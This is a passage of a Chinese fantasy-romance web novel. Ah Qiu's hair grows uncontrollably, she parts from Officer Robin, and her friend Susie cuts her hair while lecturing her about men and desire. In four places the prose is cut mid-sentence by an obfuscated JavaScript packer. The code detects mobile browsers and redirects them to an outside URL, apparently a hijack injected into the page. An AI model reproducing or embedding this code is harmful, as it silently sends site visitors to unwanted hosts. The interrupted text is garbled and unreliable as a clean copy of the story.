不过这也因人而异吧,从外表上看,马尔科姆副队长才是土生土长的希孚里亚人,他就穿棉裤。 ……难道说,豆子也是组装的? 豆子偏头问:“还有谁是组装的?” 完了,心里话还是没憋住。 阿邱认命地坐回去,回忆着是从哪个环节开始出错的:“早上是你第一次见到权朱?” “嗯。” “那你根本就没碰到他啊!隔空取物?隔空取物?” 阿邱把桌上的菜推到一旁:“罗宾警官,我能看看你的手吗?” 豆子上交了惯用手,阿邱捧着它,翻来覆去、戳戳点点地检查,结果除了中指因高强度写字稍稍变形,拇指外侧、食指内侧以及时常握锏的那块肉垫各有一层茧外,没能发现任何异常之处。 阿邱有些失望,松开手,却被他反手扣住:“别动,我也看看你的。” 豆子抽出一根牙签,在她手心里扎了一下。 阿邱很好奇:“这是什么,远东针灸术?” 牙签转移到了她的指尖上,以相同的力道扎了第二下。 “好痛?”阿邱哇哇叫着缩回手,“为什么!” 豆子收起一瞬间的困惑,皮笑肉不笑道:“这是标记奖励结束的响片。” 在他的字典里,“奖励”一定有另外一种引申义。 阿邱委屈地摸摸十分钟内经历了太多的右手:“我现在就想回家用肥皂水洗三遍……” 豆子以为她还在聊门槛的事,嗤笑一声道:“又不是没谈过,反应这么大。” 他是随和了,阿邱对绅士文化最后的一丝敬畏也崩塌了。她蹲在人下人的位置上想,究竟怎样才能让豆子警官发自内心地恼羞成怒、进而高看她一眼呢?小剧场式的强吻可以吗?这么一想,豆子警官总是戴着帽子,不喜欢让人细看他的脸,更别说是触碰了,那如果阿邱现在扇他一耳光,或者捧住他的脸蛋用大拇指狠搓眉毛、搓到他气味腺斑秃为止,他们的合作是不是就彻底崩盘了? 真不知道这种脸的重要性大于咚的排序是被哪阵希孚里亚北风刮坏的。当面打不赢,阿邱暂且把危险的徽章收起来,准备等离开了充斥着奶油和芥末的环境再偷袭豆子警官。 “劝你别想着搞偷袭。” “……我没想!” 好好好,班门弄斧是阿邱的不对了。 豆子重新调好蘸料,像是不能容忍缩头乌龟仍有一块头皮露在壳外,还要进一步吓唬她:“冤有头债有主,看到你的密封袋,你说他会先抓小偷,还是先把新仇旧恨放在一起解决?” 阿邱的半截灵魂不可逆地升天了:“是啊,我被割头你就高兴了,终止式也不是没有门,你非把我当门用。” “狗腿子的工作不就是守门么。” “不要混淆概念,守门的那是狗,狗腿子……” ……是狗腿子。 晴天霹雳! 不行,她必须做掉这个豆子警官了,今晚就做掉,刻不容缓、迫在眉睫…… 虽说挨扎之后指尖的痒意很难忽视,吸取前面的教训,哪怕素材是假的,行动之前也必须先暖好机,方式是把优质蛋白质填进体力中,同时降低敌方警惕。阿邱故作轻松道:“那你说,权朱要怎么帮我们?” 豆子却不回答,盯着她的头顶,缓缓瞪大了眼。 “邱小姐,你的头发……” ==== 在餐厅外的背阴处忙活了足足三轮,阿邱的手指甲和脚趾甲才停止了生长。 借来的园艺用大剪刀很笨重,把手脚都修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199765|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得坑坑洼洼的,阿邱叹着气穿好鞋袜,走到豆子身边,声如蚊蚋地说:“我好像好了。” 头皮上窸窸窣窣的草木生长声也安静下来。豆子显然还没调整好心情,指着她长到膝盖处的头发,难得有些结巴起来:“我们,我们先找地方处理一下这个?” 阿邱捂住现在一定乱得像鸡窝的头,只剩拼命点头。 薄外套飞回到她头上。“我先去打包饭菜。” 阿邱扣紧临时头巾,下意识地想跟着豆子回去,一看餐厅里有那么多人——每个人的脸上都长了可能发现她的眼睛、想要询问她的嘴——又缩回了背阴处。 豆子警官的眼睛和嘴没有发挥这些作用,可广场上全是向阳处,人多得躲也躲不开。阿邱紧抓着外套,假装她是一个会走路的西瓜,之所以把外套披在头上是因为西瓜藤太茂密了怕被人当拖把倒提去了洗手间…… “邱小姐。”豆子开口了,“塔桥的证词比较混乱,需要重新整理,你那块线索板可以利用起来了。” 线索板? 哦,是“安慰奖”!原来终止式真的把它用在重启调查上了,还得到了这么正式的名字。阿邱高兴起来,忘了数地砖,抬起那张被三角形的三条边包裹住的脸:“对对,那个软木板就是这么用的!把线索、肖像什么的钉在上面感觉很好玩哎,不觉得很像侦探剧吗?” 豆子点头:“嗯,一会去买点大头钉和红色的鱼线。” 阿邱看看他半截暴露在外的锁骨,想了想,脱下外套还给他:“你穿上吧。” “我不冷。” “……你穿上。” 阿邱声音小得像是刚做错了事,错误程度等于当着豆子的面偷他的瓜;态度却比较强硬,目的是迫使对方别让她错上加错。 可能是不想眼看她臊成一堆灰,豆子照做了。等他扣上最后一颗扣子,忽然抬眼看向阿邱身后不远处,目光变得锐利,仿佛真的抓到有人偷瓜。 阿邱没有偷瓜。顺着豆子的视线回头看去,樱桃箱的后面站着一个熟悉的身影,在老地方向她发射wink,转瞬间又消失。 阿邱没有wink回去的心力……和能力。她感到心脏被揪了起来,面对豆子却要挤出一脸笑:“罗宾警官,我恐怕不能搬到终止式住了。” 豆子从小巷深处收回目光:“因为那个人?” 阿邱顺坡下驴:“可不是嘛!你知道的,我们淡猫俱乐部属于……那什么,灰色地带,现在权朱就住在夜之窟,如果他找上门,我不在的时候,牧笛大姐飞起来一屁股就能坐死他,苏西可不行,你看他多瘦啊!再、再怎么说,他们收留我一场,我应该先守好那边的大门才是……” “随你。”豆子别开头,懒得再听下去。 “罗宾警官,你生气了吗?” “没有。” 他不解释原因,说明这个结果是用虚线画出来的。 今天过后,熟读半本豆子警官使用指南的阿邱得到了一颗无色无味的果实。走到狄安娜女神像下,有一个岔路口,往右是终止式,往左是夜之窟。像我这样的人很快就能适应身份转变——她如此定义自己,接过打包好的、还在长尾效应中的大餐,转身往左,走向背阴处的那条小巷,轻松又潇洒地向身后的豆子警官挥了挥手。 只是不知怎么地,说话有点大舌头:“手帕我洗干净了就黄给你,预祝明天约会顺利,有事飞笺器联系!” 70. 第五十七章 “苏西苏西,你可算是回来啦!” 把打包好的蛋白质留在厨房,阿邱钻出珠帘,一猛子扎进卡座沙发。 “邱珊邱珊,我可算是回来咯。” 一身男款常服的苏西吃痛,掐了烟,从肚子上推开一颗铁头。 阿邱面团被他推得有点变形,但也没有放弃展示对抗性:“你走了也没多久吧,算下来今天是第五天,我怎么感觉像是过了好几年似的,真奇怪!” “因为你这几天经历的事比不爱出门的人几年经历的还要多。” “哦!这说明人要时常出门,出门使人进步。” 苏西满脸疲惫地倒回去。阿邱眨巴着眼睛看了他一会,数完他新长出来的胡茬,“咴”地跳下沙发,把他拉起来:“走走,我们现在就出去遛弯。” 苏西习惯性地搓出一豆火苗,又任它在手里熄灭:“等天黑完了再说。” 阿邱不依,非要拉他起来。牧笛采购回来就看到两个人在舞台上“哈哈哈”地一起转圈圈,很是摸不着头脑,索性放下布袋加入了他们。 到最后,两个老的都被金刚离心力累瘫在沙发上。苏西气喘吁吁地总结道:“眼镜摘了、发型换了,人也终于疯了吗?” 体力被掏空,精神却活了过来。在俱乐部开张之前,为了给候场的舞男腾地方,苏西拽着阿邱去了后台,把她按在旋转皮椅上,推到一面化妆镜前,自己拿来了喷壶和剪刀,要帮阿邱“处理这道杂草瀑布”。 对哦,活过来的精神想起她就是为了处理杂草才中断大餐的,于是也积极地抄起一把修甲锉:“谢谢,赶紧收拾一下我,不然明天可没法见人了。” 苏西依然把她突如其来的神经紧绷和天黑联系在一起:“你今天翘班了?” “是啊,明天再去跟库奇先生道歉好了……” “那难啰,明天他不用报刊亭的窗户夹扁你都算他今晚玩到好的了。” “什么他也?老当益壮啊……但夜之窟的整体质量也就——苏西,你最近缺不缺零花钱?” 苏西用鬃毛梳的背面痛击铁头:“停,你这个脑袋瓜一思考就准有人完蛋,不许思考!” “哦。” 可事实上,阿邱的脑袋瓜里现在只盘桓着一件事:简单复盘,今天她一直在问别人“为什么”,可没有人反过来问她一句为什么。 ……这里还是旧矿山镇吧?她怀疑自己一觉醒来世界变了个样——让楼上的废水浇的。人们还生活在日常中吧?不觉得这样的阿邱很奇怪吗?在雨中坚持打明牌的不是只有那帮酒鬼吗? 真正的强者不惮在人前展示奇怪——可首先,阿邱必须客观地承认自己并不是已成型的强者;其次,她的奇怪还不是普通的、非要当着众人讲过时冷笑话,或者走到半路突然开始抛接三个西红柿的那种可名状的奇怪,别说是动物界了,世上都没有哪种植物能在五分钟内和阿邱增长一样的发量:当时在不冻港小船屋,附近没有镜子,是对面的人把这一切尽收眼底,最害怕的却是阿邱——害怕得头脑一片空白,先是因为自己很奇怪,然后是没有人问她为什么这样奇怪。 为什么啊!有没有人回答她一下啊? 就算救世主的信众应该无条件地服从、保持敬畏缄默不言,那也有个前提是救世主已在登上神坛前成就了一番伟业……而阿邱还在新手村寻找引路人的角色。 ……并隐隐觉得有不少人在竞争这个岗位。 可表现出来的方式又总是冷漠和不屑。 ……事实上她说的每句话都有回应。 阿邱赞同苏西,她还是暂停思考、只想着觅食级别的事吧。 长长的杂草瀑布是很难被理顺的,苏西蹲下来,声音没什么自信:“先声明一下,我只会一项技术,最多让长度回归普通,进一步的修理还需要你去找专业人士。” 苏西唯一会的那项技术:把剪刀竖起来剪。 阿邱姑且把那些细碎的“嚓嚓”声当作苏西正在吭哧吭哧为她卖力的象征,贴心地只和他聊信息量不过寒暄的天:“你最近都背着我们干什么去了啊?” 苏西沉默着忙活了一阵,提议道:“我能拿把菜刀直接拦腰砍断吗?这费劲巴拉的。” 菜刀拿来了,阿邱拒绝话题闪躲术:“你都不知道你错过了什么!我跟你说,第三天发生的事最多,也最神奇,我单拎一件出来跟你讲,你的眼珠子都要吓得掉出来!” “那请你尽量只讲两件吧。” 阿邱就兴致勃勃地在脑内把事实加工成小剧本,苏西却连这一点创作的时间都等不了,径直点出这一幕的高潮段落:“以那天为转折点,你和终止式的那个滑动肩胛骨关系变好了?” 阿邱愣了三秒才反应过来:“什么滑动肩胛骨,礼貌吗!请尊称他为豆子警官。” “你敢当着他的面尊称吗?” “不敢。” 有时候真不怪阿邱,苏西就是有种让人交浅言深的魔力,即便对面坐着他的仇人,酒过半巡也会对他敞开心扉。 “我跟你说,豆子警官真的很奇怪!”虽有菜刀威胁在后,阿邱转过头让苏西看到她的表情,以显示这句话真的是“真的”,“他好像是两个人!” “他也在森林戍卫队有个双胞胎兄弟?” “那就是四个人了……哎呀我是说,苏西,你觉得一个人可以同时拥有两种颜色吗?就是你见过那种树林吗?远看是一片漆黑,走近一看,原来每片树叶都鲜红鲜红的。” 这个模模糊糊的知识是阿邱进塔之前在百科图鉴上看到的,那时候的她还能果决地分辨出红色与黑色。 现在她却连自己的话都要质疑:“不对,翻过叶子的背面来看,结果还是黑的嘛!” 苏西一手举刀,一手按住她的头顶:“别叹气,有个作家*说过,小孩叹气,世道不济。” “我叹气了吗?还有我也不是小孩……” “你就是。只有小孩才会把男人这种东西当成高雅艺术。” 不是吧,红与黑两种颜色就构成高雅艺术啦,贵地这么恨美术的吗? 阿邱可以不以为意,苏西这句话说得可是一本正经的,还要拧着她的脑袋和自己对视:“鮟鱇的故事你忘了吗?” “鮟鱇哪来那么多灯笼!” 一个就够了一个就够了…… 没有结果的对视结束了。“看来你的理智还在,豆子警官确实不是灯笼。” “也不要这么说,在有些情况下——” “没有那种情况。你只需要一视同仁地把男人看成劣等生物,不要把复杂的思考浪费在男人身上。” 请问这句话的人称代词是“我们男人”还是“他们男人”? 鬃毛梳子顺着头发,阿邱顺着苏西说:“是这回事啦,可我觉得我的看法也并不复杂哎,苏西,我看你的时候也能联想到高雅的画面,比如,要我写成诗念给你听吗?咳咳,啊!苏西!你是薄冰想要挑战的烈日……” “可以了,我对诗歌过敏。”但梳头的动作越来越轻柔,“不谈诗歌,我们讲究实用主义,男人是什么?不过是只活一天、死了算逑的生物,长远的目标都没有,跟他们讲大道理是讲不通的。” “那些说大话的专家呢?比如研究罪犯的调律师……” “假装很懂明天,还不是为了得到今天的那份工资吗。”遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228956|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一个死结,梳子停下脚步,剪刀竖着剪了一刀,菜刀无所事事地蹲在了地上,“你只要深交一个就明白了——不,你别深交了,我现在就告诉你答案:他们的世界小到只能容得下一件事,你可能头天才跟他决裂,无论是为了宏大议题还是生活琐事,第二天你邀请他去你房间做快乐的事,只要你有三分姿色,你猜怎么着?没有人会拒绝,我是说没有人。哪怕你们是敌对阵营的两个将军,他也会同意的。别不信,就连婚契这么重要的东西都能随便上交,其他的就更不用提了。” 你真的不是在以己度人吗?阿邱没把这句话说出口,因为她在他说到“快乐的事”时想起了公车上的拥抱,竟觉得有几分道理。 苏西就像一个神仙教母,一边为即待出嫁的新娘轻轻梳头,一边絮絮地念叨着:“女追男一点门槛也没有啦,他们就是很好约,约不出去的原因只有档期满了,最多在有长辈的情况下假正经抵触一下,怎么都不会是你的问题。” “哪有这么简单?”这个问题没有确定的答案,还真是反驳不了,阿邱纠结地对起了手指:“你说的那是因为成本不对等,放在贵公子和贫家女身上就不好使了……” “贵公子?不是还有鹳的报恩么。” 算了。苏西这个靠大话武装自己的悲伤闭合愤青理解不了太高深的知识,阿邱于是也放低门槛,没有离开他的逻辑:“还有一种可能,这是你们长得好看的人才能体验到的世界。在你们的世界里,我能体验到的只有——”不跟傻子做朋友,除非领导特地嘱咐过,“你也看到了,我连三分的姿色都没有。” 苏西自信地动动剪刀:“快有了快有了。” ……领导嘱咐过,施舍了公事公办的照顾,并要求对方还以公平的索取…… 阿邱咬牙道:“我绝不会成为任何人的狗腿子,绝不会。开玩笑的那种也不行。” 但她要用常规的方式拒绝、要义正辞严,即便换来决裂也在所不惜。而且她觉得豆子警官应该听得进去,他可不跟苏西一样,已经完全闭合、停止生长了。 ……身高只是一个方面。经历了跌宕起伏的五天,她看穿了一件事:豆子警官的底色是个好人,还不是中立阵营的好人,而是路见不平拔刀相救的那种好人。 ——否则也不会打听到阿邱最害怕的权朱就住在附近、有可能在任何时候找上门来,一大早就撑着带了剑伤的病躯来救她。 哦,那一剑还是为她挡的。 都是不恰当的梦想让他看起来和一般人一样面目模糊…… 那是另外的问题。能在高压环境下长出一颗好人的脑子,阿邱可不能随便做掉这么珍贵的豆子警官,她要一边向他诚恳地鞠躬道歉,一边努力帮他变成一只飞鸟,早日飞出爱错了人的牢笼才对! 谁说阿邱吃干醋的?谁说的?你们两个对吧?写一千字检讨今天下午五点前交到办公室来,体裁不限,诗歌最佳。这是友爱的担忧,懂吗,友爱!担忧也是争取朋友的手段,无论如何,阿邱会充分地让豆子看到自己的态度,如果到最后豆子警官仍旧选择被别人捆绑住、把她争取来的自由摔碎在地上,展示出了态度、在此期间也健全了人格的阿邱会扭头去找下一个朋友,她保证不回头,绝不。 苏西探头到阿邱和镜子中间,端详那个上半张脸下定了决心、下半张脸皱成了核桃皮的表情,笑得和轻松吞没了烈日的薄冰一样绚烂:“哟,这是怎么了,准备半夜出征去抓奸呐?” 阿邱看向镜子才注意到她又喜怒形于色了,搓搓脸道:“为什么会这样,我现在对你们来说是不是跟裸/奔差不多……” “毛发这么茂密的可不叫裸/奔,叫野人下山。” 71. 第五十七章 与此同时,下山的野人也不能忘了餐桌上的失望。 那要怎么办呢?越过终止式的砧板一个人提着刀去调查呗!外边都乱成这样了,哪个长官不是自顾不暇的,也该轮到机动人员发挥机动作用啦,至于程序方面,将在外君命有所不受,反过来也一样。 阿邱想得很透,她才不信权朱能在重启调查上帮到她什么,豆子警官回那样说,肯定只是在转移她的注意力,以免她的泪水引起龙虾舰队面启航——真丢人啊!赶快忘掉赶快忘掉…… 如此一来,也还算有路可逃。连番的坍塌缔造了平静的废墟,阿邱失去了半截瀑布,得到了又一个整齐的下边缘,看着镜子前的自己,高兴地说:“我从用旧了的拖把变成了新买的扫把!” 造型师苏西也对他的新作品也很满意:“是从女鬼变成了女巫。” 清理了满地枯枝,苏西把正在开门出去的阿邱拎回来:“先别跑,过来挑两件衣服。” 他把她牵到占据了一整面墙的大衣柜前。“我说过里面的衣服你可以随便拣来穿,你怎么一次都没进来过?” “我当然只能等主人在场的时候啦,不然会很没礼貌吧。” ——“只能”是假的。另一种条件是主人永远不能在场了,那她就可以尽情地扎进来探险,并像土匪一样打包、像夜贼一样做生意了…… 苏西笑眯眯地拉开中间的柜门:“可以可以,我最喜欢讲礼貌的小朋友了。” 阿邱拿话一口咬住他的后脚跟:“是哪种喜欢?” 苏西的手一顿:“就是喜欢的那种喜欢。” 骗鬼呢,这不是和他亲口承认的某些群体的劣根性自相矛盾嘛,喜欢可是很严重的一种情感,再进一步可就是“爱”了!不过阿邱身为预备救世主,包容心在他之上,加上亲眼见识过肩胛骨会滑动的笼中鸟,一眼就能看穿他的闭合脑袋笃信的观念中有一个明显的漏洞。 “我想到怎么反驳你了!听好了,男人也会有认真喜欢一个人的时候,不过他们永远把喜欢放在‘自己人’身上。传说时代的贤者,柏拉图,还有他的老师苏格拉底,都觉得人永远需要崇高的、不含杂质的精神之爱,但这种精神之爱只会发生在男人与男人之间——他们留下的这份遗产几千年来从没断过代,直到今天还被我们供在神案上。” 阿邱和苏西笑出了一样的弧度:“就这样制造出了满坑满谷不典型的坏人,被你们称为普通人、正常人和勇敢的人。” “上过大学院的就是不一样哈,聊的天我全听不懂。”苏西合上柜门,“什么不典型坏人,那些非黑即白的论调你听听便罢,就算在传说时代留下垃圾话的是——松拉图、苏格拉顶,他们声称崇高的爱只会发生在有钱人和有钱人之间,也不能否认人类这种生物与生俱来的特质:我们打从心底不会喜欢道德完美的正经人超过危险又不稳定的捣蛋鬼。” 咦,他这么一说…… 阿邱又动摇了。扪心自问,她对鸫的迷恋,很大一部分也是来源于找不到他。 “反倒那对师徒老gay的前提才是错的。”苏西把胳膊撑在柜门上,轻巧地一回头,“不是‘人类需要崇高的爱’,是只有崇高的人才需要崇高的爱,剩下的大部分都像动物一样生活,只有在尝试获得某些门票时才会假装崇高。” “哇你小点声,太不尊重先贤了……” “我说得不对吗?你不爽是因为‘他们’从不把你当自己人,这也是人的天性,非我族类,排斥才是老习惯,不用上升到先贤的高度。” “好的……希望所有人都有动物一样的领地意识,不要只有……这样就会减少很多不公平的现象。” 阿邱气势不足地和苏西对视,最终决定把他放在“他们男人”和“自己人”中间的那条线上。 苏西像见不得她吃瘪似的,上来拍她的头:“别想那么多啦,我这么说也是为了教你一个道理:自私小孩走遍天下都不怕。” 他可能不知道,阿邱的自私是毒药式杀人不见血的。以及“不要再叫我小孩了!”——你这个油腻成年人——“我也谈过恋爱的好不好?” “哦?说说看。” 当着主人面的衣柜探险暂时中断,两人并排坐在了满是蝙蝠图案的小沙发上。 “你们两个是怎么认识的?” “很小的时候就认识了……这时候的事就不讲了,我还没开窍嘛,我就从怎么喜欢上他的开始说起吧。”阿邱咽口唾沫,努力平衡着真诚与不丢人,“就是有一天,我突然发现童貉长得还不错,大家都喜欢他,不喜欢我,我就想独占他试试看,这样就没人会看不起我了……这只是其中一个原因。” 苏西以拳头掩唇憋笑:“你也蛮不是东西的。” “是的,我就是很暴力的一个人……” “这才哪到哪,最多占个叶公好龙,你接着讲。” “本来他也跟那些人一样,冷冰冰的不怎么搭理我,我就很生气地去找他吵,结果他更不想理我了,我只能想别的办法。有一天晚上,他在院子里点着灯看算术题——哦,他家里没什么钱,但我那边有很多书,他一来我这儿就点灯熬油地看书,很爱学习对吧?那天晚上,我在窗户里偷看他,越看越生气,就披着一块白被单梦游过去,故意撞到他身上,把他吓得不轻!” 苏西忍不住笑了:“缺不缺德啊你。” “但我其实是演的,我睡眠质量好着呢,从来都不梦游。” 苏西搓着指尖陷入深思:“是这样吗……怪有意思的。” 阿邱忽然挽住他:“苏西,我也喜欢你!” “是哦?你的喜欢又是哪种喜欢?” “超过了豆子警官的那种喜欢。” 但小于娜塔莎。她停止思考了。也稍稍小于露娜吧,露娜一看就很聪明,脑袋也没有闭合,只是经常遇到怪人,什么引起她征服欲的豆子啦,她如此在乎却始终逃避着的海伦啦……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228957|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 阿邱圆着嘴巴说:“我特别想知道我喜欢的人天天都在想什么,从明天开始我就要实行这个计划了。” 命名暂定为双押三计划2.0,随时可能更改,因为替换上来的两位参演人员学习成绩更好,分别通过了两场艰难的考试才获得了现在的工作,韵脚就有点押不上了。 苏西再次带她拉开衣柜门:“进来吧。” 阿邱把头钻进一整排悬挂的曳尾裙中:什么,里面居然还别有洞天! “这是你的私人空间吗?” 单独的全身镜、干净的浴室,甚至还有一个干干净净的浴缸,玫瑰香皂上堆着刚固化不久的泡泡,说明这里一整天都有水用—— “还是恒温的哦。” “好哇,你就一个人在这享受!” 唯一的缺点也就是空间狭窄了吧,阿邱和苏西两个人站在里面,想要挪动时,一个被衣服打头,一个被浴缸打腿。 “窄点也好,适合拉近距离。”苏西对镜露出一个意味深长的笑:“并让对方无法逃离。” 这句话是在表达,在他的那位安德烈消失之后,苏西终于修炼成了上面的那个人? “干嘛这副表情?”苏西挠挠阿邱的下巴,“来都来了,要试一下恒温浴缸吗?让你的小鸭之家也下下水吧。” “不用了,其实它们全家都是旱鸭子来的。” 阿邱谨慎地后退一步,离开了苏西的私人空间。 苏西跟出来。他认为现在又是下结论的时候了:“我发现你有个优点是——对人没有色欲。” “怎么会呢,我也有色欲的!”阿邱拍拍口袋:“童貉那是开窍开了一半,他不算,但我还没遇到就想阉了的那个人,还记得吗?” “你也不想引起别人的色欲。” “你直说我没有魅力我也不会生气的……” “——对色欲的解释总是流向了……暴力,好吧,你觉得是就是吧,总归不是那种相对稳固的东西,这也很好。” “稳固不是更好吗?暴力才是不好的。”如果苏西坚持他的动物论,阿邱仍在负隅顽抗。 “暴力是瞬发的东西,怎么不好了?如果暴力不好,人们为什么要为阿瑞斯杯狂热?”苏西在合上身后的柜门,“你只是有些切割或独占的幻想,还处在童年阶段,一旦你对一个人有了温水煮青蛙的想法、开始细致地规划如何圈养他,你就是一个合格的反派了。” 生聊大王总有很多大道理,谁给他结的工资啊? 生聊大王还在兜售他的歪理:“你没发现吗,你好像对人性免疫。” 阿邱把拳头攥紧了,并在上一段定义了那句话仅有的内涵。 苏西敏锐地察觉到她的不快:“我是说看起来有点不美好的、不符合你假设世界的人性。所以啊,对每个人都热情又客气可不是最好的生存策略哟。” 那她应该怎么办呢?偶尔也换换脑袋,藏在窗帘后面杀几个人? 72. 第五十八章 扩大 “请问——”阿邱走近一步,笑开来:“全知全能的苏西大王,不通人性又不自私的我该如何引起别人的色欲呢?” 苏西有个比较气人的地方,就算面对负反馈,他也很少给自己说过的话打补丁,还要把用作缓冲的场面话照单全收。 “本王说的是你‘不想’引起色欲,不是不能。你还是没理解寡人的意思,你约一个男人的门槛有多低,他们的癖好就有多千奇百怪,比方说,恋哭癖你知道吗?有的人会故意把人弄哭,眼泪一落下来他就兴奋,这你找谁说理去?孤再强调一遍:这不是你该考虑的问题。” 阿邱刚提起来的气势又被长见识的诧异打散了:“真的有那种人?一般人看到别人哭不会觉得烦吗?” 小时候她哭了,没少被童貉眼镜反光地要求“不许哭”,有几次搞得都她呼吸不上来,就这样慢慢学会了小声又稳健、尽量不给人添麻烦地哭。 “那你是不知道,还有人特别喜欢别人呕吐,老远听到那个声音就梆硬。” “这……”都什么钻洞派的爱好啊!“也太病态了!我还是希望大家正常一点,喜欢笑着的、健康的人……” 苏西喜欢搞概念扩大化,阿邱干脆扩得更大:“而且所有女人都是这么想的!你们别妄想拿病态冲击高雅了——不是瞧不起小众癖好,如有需要,写成诗不就够了么,不要真的在不情愿的活人身上实行,也不要向往它……” 她说话的时候苏西没有看她,转身从衣柜深处拿出两个严严实实的密封袋,关上柜门想了想,又取下四五条看起来很新的裙子。 “这也并不病态啊,是你对所谓的‘非崇高’太警惕了。”他随口说着,“只要你真的在用心生活——不仅想活一百年,还想活好这一天,渐渐地,你不理解的事情都会变得简单易懂,世界也变清晰了,到时你无论是想独占谁,或是去了谁的势,都不会在事发前愧疚得到处寻求无关人士的意见。” 是这样吗?她对洱鸾大陆的愧疚也扩大化了?甚至都波及到了她的低俗幻想? 这可不好,连累得救世主的目标也要打个折扣了。她还在心里批评豆子把太具体的人当梦想呢,其实她也犯了一样的错——太模糊的人也不行!最模糊的就是那个救世主的形象了,她应该是什么样的、登上那个宝座之后要为人们做些什么?一直以来阿邱都没坐下来好好想过,如今看来,她可能只是在构想一个画面:“我要把这个讨厌的世界扭转成我喜欢的样子,有人胆敢不服从,我就圈养他们。” ……不该是这样的!冥蝶公主最好也是穿着宽松舒适的衣服把书读完了再考虑要不要黑化,能白皙地解决命运的难题、走上人生巅峰,怎么想都比画了全包眼线再登台要好,那样在众人面前哭起来也不会流下两道黑泪。 阿邱低下头,揪着裙摆说:“我明白了,我会反省的。” 然后她就被捏了。苏西的另一只手拿着裙子在她身上比划,说道:“你反省什么?都是些见不得人的事,咱俩关起门来说,与其你个小没见识的在外到处受冲击,还不如听着我消化过的二手情报长见识。” “你的二手情报确实长见识,但你的衣服我不想要。”阿邱再次后退一步,把脸颊肉从他手里抽出来。 “怎么的呢?这不好看吗——不比你这身入殓装好看?” 不好看。因为衣服不是主人为自己认真挑选的,而是为了一个匆忙的、没有办法的人设挑选的,很丑、很油腻、很虚伪! 她保持着礼貌:“你有一米八七吧,我比你矮十七厘米哎,你的衣服我哪穿得上?” “改改不就得了。你不是蹲过么,缝纫机总会踩吧?” 阿邱又把拳头攥起来了:“有的衣服是专门做给高个儿穿的,改短了就没那个味道了。” “有道理诶。”苏西被说服了,遗憾地收起了这些除了他自己没人好意思穿出去的舞台服装。 “我现在最想要的是一件小雏菊连帽斗篷。”阿邱喃喃地说:“我小时候有一件,穿破了就让人扔了,那时要是学过缝补就好了……” 决定了就执行!平静的废墟正是充满干劲的时候,她不在乎现在流行什么——虽然身边人一直在给她答案,苏西的衣柜也是一例——古装就古装,她是预备救世主,又不靠引起人的色欲吃饭!而且她相信鸫一定会透过虚妄的表象参透她潜藏的魅力,那将会是审美健康并且笑容满面的,就跟他心灵的颜色一样。 具体方案呢?要找到一块差不多的薄绒布、刺绣的线,缝纫机怎么办?除非有机会去伞鞋匠那里,向他道了歉,那样就可以借用他的工具了。好,就这么办…… ==== 牧笛端着一大盆肉酱面上了天台。 苏西刚结束了一支烟,回头看他:“怎么不是三文鱼?” “那是给你们邱小姐补充营养的!”牧笛气哼哼地分给他一个盘子,“咱们都白吃人家终止式多少顿了,要点脸吧。” 苏西不为所动:“补充营养?先把她的厌食倾向和过度反省综合征解决一下吧,堂堂当长官的,会不会养花啊?” 说着,他又笑起来:“对了,在你上来的两分钟之前,我又跟那个变态偷窥狂对上眼了。” 牧笛目露警觉:“人在哪?” “早飞走了。” “目的是什么?窥探我们的商业机密?” “神秘学上的商业机密吧。” “啊?” “要是下次再被我抓到——”苏西用叉子把面搅成一团毛线:“我就把他逮来俱乐部,绑在钢管舞的钢管上面彻夜旋转,就跟烤乳猪一样,哈哈。” ==== 除了庇护她胆战心惊地在废水袭来前休息好,阿邱的房间现在还有另外一个功能:关上门,她回到了工作岗位! 翻看压在下面的文件夹,期待中的细铅笔字迹却没有出现。再翻开一个,又没有。阿邱颇为失落,欢天喜地的感叹号白打了。 可冷静下来一看,新的文件夹跟昨天晚上的没区别,全是重复的发件人和工作内容。很合理啊,教一遍还不会,那是真把她当猪了,豆子警官是疾风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236320|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男孩嘛,讲究效率的,引路人的工作做完就差不多可以退场了。再说文字内容还可以反复看……但做完之后就得交回去了。 